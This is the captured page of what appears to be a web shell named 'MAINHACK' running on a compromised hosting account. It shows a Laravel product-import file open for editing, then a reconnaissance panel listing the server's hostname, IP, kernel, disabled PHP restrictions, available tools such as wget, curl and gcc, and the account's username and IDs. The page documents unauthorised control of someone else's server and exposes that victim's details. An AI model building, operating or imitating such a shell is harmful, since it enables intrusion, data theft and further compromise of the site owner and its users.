[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductImport.php
<?php namespace App\Imports; use App\Models\Barcode; use App\Models\Product; use App\Libraries\AppEnum; use Illuminate\Support\Str; use App\Libraries\AppLibrary; use Illuminate\Validation\Rule; use Maatwebsite\Excel\Concerns\ToModel; use Maatwebsite\Excel\Concerns\Importable; use Maatwebsite\Excel\Concerns\SkipsFailures; use Maatwebsite\Excel\Concerns\SkipsEmptyRows; use Maatwebsite\Excel\Concerns\SkipsOnFailure; use Maatwebsite\Excel\Concerns\WithHeadingRow; use Maatwebsite\Excel\Concerns\WithValidation; class ProductImport implements ToModel, WithHeadingRow, WithValidation, SkipsOnFailure, SkipsEmptyRows { use Importable, SkipsFailures; public function model(array $row) { return new Product([ 'name' => $this->sanitizeInput($row['name']), 'slug' => Str::slug($this->sanitizeInput($row['name'])) . rand(1, 1000), 'sku' => AppLibrary::sku(substr(floor(microtime(true) * 1000), -4) . rand(1, max: 999)), 'description' => $this->sanitizeInput($row['description'] ?? null), 'product_category_id' => AppEnum::getCategoryId($row['category']), 'barcode_id' => Barcode::first()->id, 'buying_price' => $row['buying_price'] ?? 0, 'selling_price' => $row['selling_price'] ?? 0, 'status' => AppEnum::status($row['status']), 'can_purchasable' => AppEnum::ask($row['purchasable']), 'show_stock_out' => AppEnum::ask($row['show_stock_out']), 'refundable' => AppEnum::ask($row['refundable']), 'maximum_purchase_quantity' => $row['maximum_purchase_quantity'] ?? 1, 'low_stock_quantity_warning' => $row['low_stock_quantity_warning'] ?? 1, ]); } public function rules(): array { return [ 'name' => [ 'required', 'string', 'max:190', Rule::unique("products", "name")->whereNull('deleted_at') ], 'description' => ['nullable', 'string', 'max:5000'], 'buying_price' => ['required'], 'selling_price' => ['required'], 'status' => ['required', 'string'], 'purchasable' => ['required', 'string'], 'show_stock_out' => ['required', 'string'], 'refundable' => ['required', 'string'], 'maximum_purchase_quantity' => ['required', 'numeric', 'max_digits:10'], 'low_stock_quantity_warning' => ['required', 'numeric', 'max_digits:10'], ]; } private function sanitizeInput($value) { return mb_convert_encoding(trim($value), 'UTF-8', 'UTF-8'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285